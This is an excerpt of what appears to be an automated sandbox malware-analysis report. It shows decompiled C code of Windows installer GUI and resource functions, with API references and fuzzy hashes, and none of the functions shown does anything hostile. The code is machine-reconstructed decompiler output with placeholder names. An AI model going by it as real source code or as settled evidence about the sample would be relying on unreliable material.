					 *0x48f5ec =  *_t54;
					 *0x48f5f0 =  *((intOrPtr*)(_t54 + 4));
					_t62 = E00413CA8(2);
					_t20 =  *0x48f5d0; // 0x0
					_t71 =  *((intOrPtr*)( *_t20 + 4))( *((intOrPtr*)(_t54 + 4)));
					if( *0x48f5fc == 0) {
						_t22 =  *0x48f62c; // 0x22f0660
						_t24 = SetCursor(E00423350(_t22, _t71));
					} else {
						if(_t72 == 0 || ( *(_t72 + 0x35) & 0x00000020) != 0) {
							_t25 =  *0x48f5fc; // 0x0
							E00418CF8(_t25, _t71);
							_t27 =  *0x48f5fc; // 0x0
							_t84 =  *((char*)(_t27 + 0x44));
							if( *((char*)(_t27 + 0x44)) != 0) {
								_t28 =  *0x48f5fc; // 0x0
								_t24 = E00418E30(_t28,  *((intOrPtr*)(_t54 + 4)),  *_t54, __eflags);
							} else {
								_t30 = GetDesktopWindow();
								_t31 =  *0x48f5fc; // 0x0
								_t24 = E00418D4C(_t31, _t30, _t84,  *((intOrPtr*)(_t54 + 4)));
							}
						} else {
							_t32 =  *0x48f5fc; // 0x0
							E00418EA4(_t32, _t62, __eflags);
							_t34 =  *0x48f62c; // 0x22f0660
							_t24 = SetCursor(E00423350(_t34, _t71));
						}
					}
					L16:
					return _t24;
				}
				_t47 =  *0x48f5e4; // 0x0
				asm("cdq");
				if((_t47 -  *__eax ^ __edx) - __edx >= 5) {
					goto L3;
				}
				_t51 =  *0x48f5e8; // 0x0
				asm("cdq");
				_t24 = (_t51 -  *((intOrPtr*)(__eax + 4)) ^ __edx) - __edx;
				if(_t24 < 5) {
					goto L16;
				}
				goto L3;
			}

0x00413cdf
0x00413ce0
0x00413ce9
0x00413d12
0x00413d19
0x00413d1b
0x00413d22
0x00413d24
0x00413d2a
0x00413d37
0x00413d3c
0x00413d3c
0x00413d22
0x00413d41
0x00413d51
0x00413d53
0x00413d59
0x00413d5d
0x00413d62
0x00413d6b
0x00413d72
0x00413d7b
0x00413d83
0x00413d83
0x00413d8a
0x00413d93
0x00413da4
0x00413da8
0x00413db2
0x00413dbb
0x00413e2a
0x00413e35
0x00413dbd
0x00413dbf
0x00413dc9
0x00413dce
0x00413dd3
0x00413dd8
0x00413ddc
0x00413dfc
0x00413e01
0x00413dde
0x00413de2
0x00413deb
0x00413df0
0x00413df0
0x00413e08
0x00413e08
0x00413e0d
0x00413e15
0x00413e20
0x00413e20
0x00413dbf
0x00413e3a
0x00413e3e
0x00413e3e
0x00413ceb
0x00413cf2
0x00413cfa
0x00000000
0x00000000
0x00413cfc
0x00413d04
0x00413d07
0x00413d0c
0x00000000
0x00000000
0x00000000

APIs

GetDesktopWindow.USER32 ref: 00413D2A
GetDesktopWindow.USER32 ref: 00413DE2

Part of subcall function 00418EA4: 702BB5E0.COMCTL32(?,00000000,00413FA7,00000000,004140B7,?,?,0048F628), ref: 00418EC0
Part of subcall function 00418EA4: ShowCursor.USER32(00000001,?,00000000,00413FA7,00000000,004140B7,?,?,0048F628), ref: 00418EDD

SetCursor.USER32(00000000,?,?,?,?,00413AD7,00000000,00413AEA), ref: 00413E20

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: 861c570973094854ccbd8c8321d2c4d40f09d5c1caf36c3bd11ef8ba7df2e374
Instruction ID: 100525f957ecdfcd78a92647e46673428d166f253b267b63c2260cf8966f0b2b
Opcode Fuzzy Hash: 861c570973094854ccbd8c8321d2c4d40f09d5c1caf36c3bd11ef8ba7df2e374
Instruction Fuzzy Hash: 2A414175600250AFC700EF39E994B5E3BE1EB45305B24887EE404DB366DA38DD89CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004089EC Relevance: 6.1, APIs: 4, Instructions: 95
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004089EC(intOrPtr* __eax, void* __edx, void* __eflags) {
				char _v272;
				char _v276;
				intOrPtr _v280;
				char _v284;
				intOrPtr _v288;
				char _v292;
				intOrPtr _v296;
				char _v300;
				char* _v304;
				char _v308;
				char _v312;
				char _v568;
				char _v632;
				char _v636;
				char _v696;
				void* __edi;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t38;
				struct HINSTANCE__* _t49;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t73;
				intOrPtr* _t74;
				void* _t75;
				void* _t76;

				_t75 = __edx;
				_t74 = __eax;
				_t29 =  *0x48f014; // 0x400000
				GetModuleFileNameA(_t29,  &_v568, 0x100);
				E00407314(_t76, 0x3f, E00407458( &_v568, 0x5c) + 1);
				_t62 = 0x408b68;
				_t73 = 0x408b68;
				if(E00402BB8(_t74, 0x406360) != 0) {
					_t62 = E00403750( *((intOrPtr*)(_t74 + 4)));
					_t61 = E00407258(_t62, 0x408b68);
					if(_t61 != 0 &&  *((char*)(_t62 + _t61 - 1)) != 0x2e) {
						_t73 = 0x408b6c;
					}
				}
				_t38 =  *0x48f014; // 0x400000
				LoadStringA(_t38, 0xff9e,  &_v632, 0x40);
				E00402AB8( *_t74,  &_v272);
				_v312 =  &_v272;
				_v308 = 4;
				_v304 =  &_v696;
				_v300 = 6;
				_v296 = E004089E0(_t75);
				_v292 = 5;
				_v288 = _t62;
				_v284 = 6;
				_v280 = _t73;
				_v276 = 6;
				E00407858( &_v568,  &_v312,  &_v632, 4);
				_t49 =  *0x48f014; // 0x400000
				LoadStringA(_t49, 0xff9f,  &_v636, 0x40);
				if( *0x48f035 == 0) {
					return MessageBoxA(0,  &_v568,  &_v632, 0x2010);
				} else {
					E00405024(0x48f208,  &_v568);
					return E00402708(E00404FA7(),  &_v312,  &_v568);
				}
			}

0x004089f6
0x004089f8
0x00408a07
0x00408a0d
0x00408a2a
0x00408a2f
0x00408a34
0x00408a47
0x00408a51
0x00408a55
0x00408a5c
0x00408a65
0x00408a65
0x00408a5c
0x00408a76
0x00408a7c
0x00408a8c
0x00408a98
0x00408a9f
0x00408aab
0x00408ab2
0x00408ac1
0x00408ac8
0x00408ad0
0x00408ad7
0x00408adf
0x00408ae6
0x00408b00
0x00408b11
0x00408b17
0x00408b23
0x00000000
0x00408b25
0x00408b31
0x00000000
0x00408b3b

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408A0D
LoadStringA.USER32 ref: 00408A7C
LoadStringA.USER32 ref: 00408B17
MessageBoxA.USER32 ref: 00408B56

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: e6dda218e5b55bd48ff680e5991621e34b15ee6e694d87815f4aef8d55aaf21f
Instruction ID: d22533e99778954fd6890cb294b7f4ce66091e3ab3492f154047a21023ac2c2b
Opcode Fuzzy Hash: e6dda218e5b55bd48ff680e5991621e34b15ee6e694d87815f4aef8d55aaf21f
Instruction Fuzzy Hash: 173132716083819ED330EB658945B9B77D89B86704F00483EB6C8EB2D2DB789918876B

Uniqueness

Uniqueness Score: -1.00%

Function 0044DCE0 Relevance: 6.1, APIs: 4, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044DCE0(intOrPtr* __eax, void* __ecx, int __edx, void* __eflags) {
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t13;
				intOrPtr* _t43;
				void* _t55;
				long _t56;
				int _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t44 = __ecx;
				_t55 = __ecx;
				_t57 = __edx;
				_t43 = __eax;
				_t13 = E0040369C( *((intOrPtr*)(E0044D2C4(__eax) + 0x14)), __ecx);
				if(_t61 == 0) {
					return _t13;
				}
				E00403468(E0044D2C4(_t43) + 0x14, _t43, _t55, _t55, __edx);
				_t56 = SendMessageA(E004181C4(_t43), 0x1a1, __edx, 0);
				_t58 = E0044C49C(_t43, _t44, _t57, _t61);
				E0042BC8C(_t43,  &_v32, _t57);
				if(_t56 != _t58) {
					if(_t57 >= E0042BB98(_t43)) {
						 *((intOrPtr*)( *_t43 + 0x2c))();
						_v32.top = _v48.top + _t56;
						if(IsRectEmpty( &_v32) == 0) {
							ScrollWindowEx(E004181C4(_t43), 0, _t58 - _t56,  &_v32, 0, 0, 0, 6);
						}
					}
					E0044C4DC(_t43);
				}
				return InvalidateRect(E004181C4(_t43),  &_v48, 1);
			}

0x0044dce0
0x0044dce0
0x0044dce7
0x0044dce9
0x0044dceb
0x0044dcfb
0x0044dd00
0x0044ddb9
0x0044ddb9
0x0044dd14
0x0044dd2e
0x0044dd39
0x0044dd41
0x0044dd48
0x0044dd53
0x0044dd5d
0x0044dd66
0x0044dd76
0x0044dd92
0x0044dd92
0x0044dd76
0x0044dd99
0x0044dd99
0x00000000

APIs

SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044DD29

Part of subcall function 0044C49C: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044C4CE

InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044DDAD

Part of subcall function 0042BB98: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BBAC

IsRectEmpty.USER32(?), ref: 0044DD6F
ScrollWindowEx.USER32 ref: 0044DD92

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
String ID:
API String ID: 855768636-0
Opcode ID: 03405822ec41223206aa390bb074f4b419e4d090b363351e3cf2306338ee5558
Instruction ID: 30bc2259219ab74a13e734c277fbf9002091a886e5add9d82bb97a75e95c6f52
Opcode Fuzzy Hash: 03405822ec41223206aa390bb074f4b419e4d090b363351e3cf2306338ee5558
Instruction Fuzzy Hash: 88115EB1B4031027E710BA7E8C86B5B66899B84748F04083FB545EB387DE7DDC054399

Uniqueness

Uniqueness Score: -1.00%

Function 0048ABD8 Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0048ABD8(void* __eax, intOrPtr* __edx) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				struct tagRECT _v48;
				signed int _t26;
				signed int _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				void* _t50;
				signed int _t55;
				signed int _t56;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				long _t61;
				intOrPtr _t62;
				intOrPtr* _t65;
				intOrPtr _t66;
				void* _t67;

				_t67 =  &_v32;
				_t65 = __edx;
				_t50 = __eax;
				_push( *((intOrPtr*)(__eax + 0x30)));
				_push( &_v48);
				_t66 =  *((intOrPtr*)(__edx + 4));
				_t55 =  *((intOrPtr*)(__edx + 0xc)) - _t66 -  *((intOrPtr*)(__eax + 0x30));
				_t56 = _t55 >> 1;
				if(_t55 < 0) {
					asm("adc edx, 0x0");
				}
				_t57 = _t56 + _t66;
				_t64 =  *_t65;
				_t26 =  *((intOrPtr*)(_t65 + 8)) -  *_t65 -  *((intOrPtr*)(_t50 + 0x2c));
				_t27 = _t26 >> 1;
				if(_t26 < 0) {
					asm("adc eax, 0x0");
				}
				E0040AC38(_t27 + _t64,  *((intOrPtr*)(_t50 + 0x2c)), _t57);
				E0048A678(_t67,  &(_v48.right));
				_t32 = _v32;
				_t59 = _v48.left;
				if(_t32 < _t59) {
					OffsetRect( &_v48, _t32 - _t59, 0);
				}
				_t33 = _v20;
				_t60 = _v48.bottom;
				if(_t33 < _t60) {
					OffsetRect( &_v48, 0, _t33 - _t60);
				}
				_t34 = _v32;
				_t61 = _v48.left;
				if(_t34 > _t61) {
					OffsetRect( &_v48, _t34 - _t61, 0);
				}
				_t35 = _v28;
				_t62 = _v48.top;
				if(_t35 > _t62) {
					OffsetRect( &_v48, 0, _t35 - _t62);
				}
				return E00414660(_t50, _t67);
			}

0x0048abdc
0x0048abdf
0x0048abe1
0x0048abe6
0x0048abeb
0x0048abef
0x0048abf4
0x0048abf7
0x0048abf9
0x0048abfb
0x0048abfb
0x0048abfe
0x0048ac03
0x0048ac07
0x0048ac0a
0x0048ac0c
0x0048ac0e
0x0048ac0e
0x0048ac16
0x0048ac21
0x0048ac26
0x0048ac2a
0x0048ac30
0x0048ac3c
0x0048ac3c
0x0048ac41
0x0048ac45
0x0048ac4b
0x0048ac57
0x0048ac57
0x0048ac5c
0x0048ac60
0x0048ac65
0x0048ac71
0x0048ac71
0x0048ac76
0x0048ac7a
0x0048ac80
0x0048ac8c
0x0048ac8c
0x0048aca1

APIs

OffsetRect.USER32(?,?,00000000), ref: 0048AC3C
OffsetRect.USER32(?,00000000,?), ref: 0048AC57
OffsetRect.USER32(?,?,00000000), ref: 0048AC71
OffsetRect.USER32(?,00000000,?), ref: 0048AC8C

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: 14e81da9c9acbaf65ffa382ec7e5c04f8e81d0cf7f0d7997142d568a55a92133
Instruction ID: e02d33c2e389b425dfbe20bc442842329bb4e49dd26702c6487ee092cefc6ea8
Opcode Fuzzy Hash: 14e81da9c9acbaf65ffa382ec7e5c04f8e81d0cf7f0d7997142d568a55a92133
Instruction Fuzzy Hash: 15217CB67042019BD700EE69CD85E6BB7DAEBC4314F148E2AF684C7289D634E8548756

Uniqueness

Uniqueness Score: -1.00%

Function 004171FC Relevance: 6.1, APIs: 4, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004171FC(intOrPtr* __eax, void* __edx) {
				char _v20;
				void* _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				struct HWND__* _t26;
				intOrPtr _t28;
				intOrPtr _t31;
				intOrPtr _t32;
				struct HICON__* _t34;
				void* _t39;
				intOrPtr* _t40;
				intOrPtr _t50;
				void* _t51;
				struct tagPOINT* _t52;

				_t51 = __edx;
				_t40 = __eax;
				if( *((intOrPtr*)(__edx + 4)) !=  *((intOrPtr*)(__eax + 0xc0))) {
					L16:
					return  *((intOrPtr*)( *_t40 - 0x10))();
				}
				_t22 =  *((intOrPtr*)(__edx + 8)) - 0xfffe;
				if(_t22 == 0) {
					if( *((short*)(__edx + 0xa)) != 0x201) {
						goto L16;
					}
					_t23 =  *0x48f628; // 0x22f2410
					if( *((intOrPtr*)(_t23 + 0x20)) == 0) {
						goto L16;
					}
					_t24 =  *0x48f628; // 0x22f2410
					_t26 = GetLastActivePopup( *(_t24 + 0x20));
					if(_t26 == GetForegroundWindow()) {
						goto L16;
					}
					_t28 =  *0x48f628; // 0x22f2410
					return E00424224(_t28);
				}
				if(_t22 != 3) {
					goto L16;
				}
				if(( *(__eax + 0x1c) & 0x00000010) == 0) {
					_t31 =  *0x48f62c; // 0x22f0660
					_t50 =  *((intOrPtr*)(_t31 + 0x28));
					if(_t50 == 0) {
						GetCursorPos(_t52);
						E004147A0(_t40,  &_v20, _t52);
						_t39 = E004168B4(_t40, 0,  &_v20);
						if(_t39 != 0) {
							_t50 =  *((intOrPtr*)(_t39 + 0x4c));
						}
						if(_t50 == 0) {
							_t50 =  *((intOrPtr*)(_t40 + 0x4c));
						}
					}
				} else {
					_t50 = 0xfffe;
				}
				if(_t50 == 0) {
					goto L16;
				} else {
					_t32 =  *0x48f62c; // 0x22f0660
					_t34 = SetCursor(E00423350(_t32, _t50));
					 *((intOrPtr*)(_t51 + 0xc)) = 1;
					return _t34;
				}
			}

0x00417202
0x00417204
0x0041720f
0x004172cd
0x00000000
0x004172d3
0x00417219
0x0041721d
0x0041729b
0x00000000
0x00000000
0x0041729d
0x004172a6
0x00000000
0x00000000
0x004172a8
0x004172b1
0x004172bf
0x00000000
0x00000000
0x004172c1
0x00000000
0x004172c6
0x00417223
0x00000000
0x00000000
0x0041722d
0x00417235
0x0041723a
0x00417241
0x00417244
0x00417251
0x0041725e
0x00417265
0x00417267
0x00417267
0x0041726e
0x00417270
0x00417270
0x0041726e
0x0041722f
0x0041722f
0x0041722f
0x00417277
0x00000000
0x00417279
0x0041727c
0x00417287
0x0041728c
0x00000000
0x0041728c

APIs

GetCursorPos.USER32 ref: 00417244
SetCursor.USER32(00000000), ref: 00417287
GetLastActivePopup.USER32(?), ref: 004172B1
GetForegroundWindow.USER32(?), ref: 004172B8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: f8f1459e73c1737ae874a770815550efbc0c4d2ded2b0ee8fca873e472ac491b
Instruction ID: f9e52058b1df3929264a40ec4b96364ab953ebed90a5a3d5dd1108ebb9aca0b4
Opcode Fuzzy Hash: f8f1459e73c1737ae874a770815550efbc0c4d2ded2b0ee8fca873e472ac491b
Instruction Fuzzy Hash: 0D21C1302046008ACB10EB79C980ADB33B0AB58764B1549ABF4158B3A2D73DCCC6CB4D

Uniqueness

Uniqueness Score: -1.00%

Function 0048A928 Relevance: 6.1, APIs: 4, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0048A928(intOrPtr* __eax, int __ecx, int __edx, int _a4, int _a8) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _t59;
				int _t65;
				int _t66;

				_v12 = __ecx;
				_v8 = __edx;
				_t59 = __eax;
				_t5 = _t59 + 0x24; // 0x8b500000
				_t66 = MulDiv( *_t5, _v8, _v12);
				_t8 = _t59 + 0x28; // 0x50142444
				_t65 = MulDiv( *_t8, _a8, _a4);
				if(( *(_t59 + 0x35) & 0x00000001) != 0) {
					_t17 = _t59 + 0x2c; // 0xf7ad0fe8
					_v16 =  *_t17;
				} else {
					_t14 = _t59 + 0x24; // 0x8b500000
					_t15 = _t59 + 0x2c; // 0xf7ad0fe8
					_v16 = MulDiv( *_t14 +  *_t15, _v8, _v12) - _t66;
				}
				if(( *(_t59 + 0x35) & 0x00000002) != 0) {
					_t27 = _t59 + 0x30; // 0x8bf88bff
					_v20 =  *_t27;
				} else {
					_t24 = _t59 + 0x28; // 0x50142444
					_t25 = _t59 + 0x30; // 0x8bf88bff
					_v20 = MulDiv( *_t24 +  *_t25, _a8, _a4) - _t65;
				}
				return  *((intOrPtr*)( *_t59 + 0x4c))(_v20, _v16);
			}

0x0048a931
0x0048a934
0x0048a937
0x0048a941
0x0048a94a
0x0048a954
0x0048a95d
0x0048a963
0x0048a980
0x0048a983
0x0048a965
0x0048a96d
0x0048a970
0x0048a97b
0x0048a97b
0x0048a98a
0x0048a9a7
0x0048a9aa
0x0048a98c
0x0048a994
0x0048a997
0x0048a9a2
0x0048a9a2
0x0048a9c6

APIs

MulDiv.KERNEL32(8B500000,00000000,?), ref: 0048A945
MulDiv.KERNEL32(50142444,00000008,?), ref: 0048A958
MulDiv.KERNEL32(F7AD0FE8,00000000,?), ref: 0048A974
MulDiv.KERNEL32(8BF88BFF,00000008,?), ref: 0048A99B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e86be9bb8a614bca92572f6fa94aced873a8c49fd5365594b564b5dc022d3f7c
Instruction ID: 815dad5bbffd4218c2d18f62b6f2c5a3c0c9f6df475912d52f958762b40ff306
Opcode Fuzzy Hash: e86be9bb8a614bca92572f6fa94aced873a8c49fd5365594b564b5dc022d3f7c
Instruction Fuzzy Hash: 3421E7B2A00208AFCF40DFADC8C4E9EB7ECAF4C314B144596F918DB246D674EA408F65

Uniqueness

Uniqueness Score: -1.00%

Function 0041F464 Relevance: 6.1, APIs: 4, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041F464(intOrPtr _a4, intOrPtr _a8) {
				struct _WNDCLASSA _v44;
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				struct HINSTANCE__* _t8;
				signed int _t9;
				signed int _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HWND__* _t22;

				_t5 =  *0x48f014; // 0x400000
				 *0x48e5a8 = _t5;
				_t7 =  *0x48e5bc; // 0x41f454
				_t8 =  *0x48f014; // 0x400000
				_t9 = GetClassInfoA(_t8, _t7,  &_v44);
				asm("sbb eax, eax");
				_t11 =  ~( ~_t9);
				if(_t11 == 0 || L00405E2C != _v44.lpfnWndProc) {
					if(_t11 != 0) {
						_t19 =  *0x48f014; // 0x400000
						_t20 =  *0x48e5bc; // 0x41f454
						UnregisterClassA(_t20, _t19);
					}
					RegisterClassA(0x48e598);
				}
				_t13 =  *0x48f014; // 0x400000
				_t14 =  *0x48e5bc; // 0x41f454
				_t22 = E004062F8(_t14, 0, 0x41f504, 0, _t13, 0, 0, 0, 0, 0, 0);
				SetWindowLongA(_t22, 0xfffffffc, E0041F3A8(_a4, _a8));
				return _t22;
			}

0x0041f46b
0x0041f470
0x0041f479
0x0041f47f
0x0041f485
0x0041f48c
0x0041f48e
0x0041f492
0x0041f4a0
0x0041f4a2
0x0041f4a8
0x0041f4ae
0x0041f4ae
0x0041f4b8
0x0041f4b8
0x0041f4c9
0x0041f4d8
0x0041f4e2
0x0041f4f3
0x0041f4fe

APIs

GetClassInfoA.USER32 ref: 0041F485
UnregisterClassA.USER32 ref: 0041F4AE
RegisterClassA.USER32 ref: 0041F4B8
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F4F3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: b84ff5c321f694adbc635e84f68dfb870052098fa3c25224639b04288103a1f2
Instruction ID: f93f49962aacb077ae777ebbe7ef4c74946adada8453ae8d4e4775add4519b75
Opcode Fuzzy Hash: b84ff5c321f694adbc635e84f68dfb870052098fa3c25224639b04288103a1f2
Instruction Fuzzy Hash: 6F015671240104BFCB10EFA9EC81E9F379CA709304B10493EB905EB2E2D6399C559B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1E4 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040D1E4(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
				CHAR* _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t18;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				struct HRSRC__* _t30;
				void* _t31;
				struct HINSTANCE__* _t32;
				void* _t33;

				_v8 = _t24;
				_t32 = __edx;
				_t23 = __eax;
				_t30 = FindResourceA(__edx, _v8, _a4);
				 *(_t23 + 0x10) = _t30;
				_t34 = _t30;
				if(_t30 == 0) {
					E0040D170(_t23, _t30, _t32, _t34, _t33);
				}
				_t5 = _t23 + 0x10; // 0x72756f73
				_t31 = LoadResource(_t32,  *_t5);
				 *(_t23 + 0x14) = _t31;
				_t35 = _t31;
				if(_t31 == 0) {
					E0040D170(_t23, _t31, _t32, _t35, _t33);
				}
				_t7 = _t23 + 0x10; // 0x72756f73
				_push(SizeofResource(_t32,  *_t7));
				_t8 = _t23 + 0x14; // 0x74536563
				_t18 = LockResource( *_t8);
				_pop(_t25);
				return E0040CEF8(_t23, _t25, _t18);
			}

0x0040d1eb
0x0040d1ee
0x0040d1f0
0x0040d200
0x0040d202
0x0040d205
0x0040d207
0x0040d20a
0x0040d20f
0x0040d210
0x0040d21a
0x0040d21c
0x0040d21f
0x0040d221
0x0040d224
0x0040d229
0x0040d22a
0x0040d234
0x0040d235
0x0040d239
0x0040d242
0x0040d24d

APIs

FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D1FB
LoadResource.KERNEL32(00400000,72756F73,0040A99C,00400000,00000001,00000000,?,0040D158,00000000,?,00000000,?,?,00473F28,0000000A,REGDLL_EXE), ref: 0040D215
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A99C,00400000,00000001,00000000,?,0040D158,00000000,?,00000000,?,?,00473F28), ref: 0040D22F
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A99C,00400000,00000001,00000000,?,0040D158,00000000,?,00000000,?), ref: 0040D239

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 81dc10026a1a4f360cb159199897b25fcaaa7be14c98282a0971726af38ceaaa
Instruction ID: 8db5021709dd77ea604f1e723d517c79986f87b5122f3d7ad427a3c2eb2b1bf1
Opcode Fuzzy Hash: 81dc10026a1a4f360cb159199897b25fcaaa7be14c98282a0971726af38ceaaa
Instruction Fuzzy Hash: 08F0FFB36056046F9B45EE9DA881D6B76ECDE8C364310016FF908EB246DA39DD114B7C

Uniqueness

Uniqueness Score: -1.00%

Function 00453EB0 Relevance: 6.0, APIs: 4, Instructions: 41
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00453EB0(void* __eax, void* __ecx, void* __edx, void* __eflags) {
				void* _v12;
				int _t13;
				void* _t20;
				void* _t26;

				_push(__ecx);
				_t20 = __edx;
				_t26 = __eax;
				if(E0042DC1C(0,  *((intOrPtr*)(0x48ea30 + (E0042DA0C( &_v12) & 0x0000007f) * 4)), 0x80000002,  &_v12, 2, 0) == 0) {
					RegDeleteValueA(_v12, E00403750(_t26));
					RegCloseKey(_v12);
				}
				_t13 = RemoveFontResourceA(E00403750(_t20));
				if(_t13 != 0) {
					_t13 = SendNotifyMessageA(0xffff, 0x1d, 0, 0);
				}
				return _t13;
			}

0x00453eb2
0x00453eb3
0x00453eb5
0x00453edd
0x00453eec
0x00453ef5
0x00453ef5
0x00453f02
0x00453f09
0x00453f16
0x00453f16
0x00453f1e

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

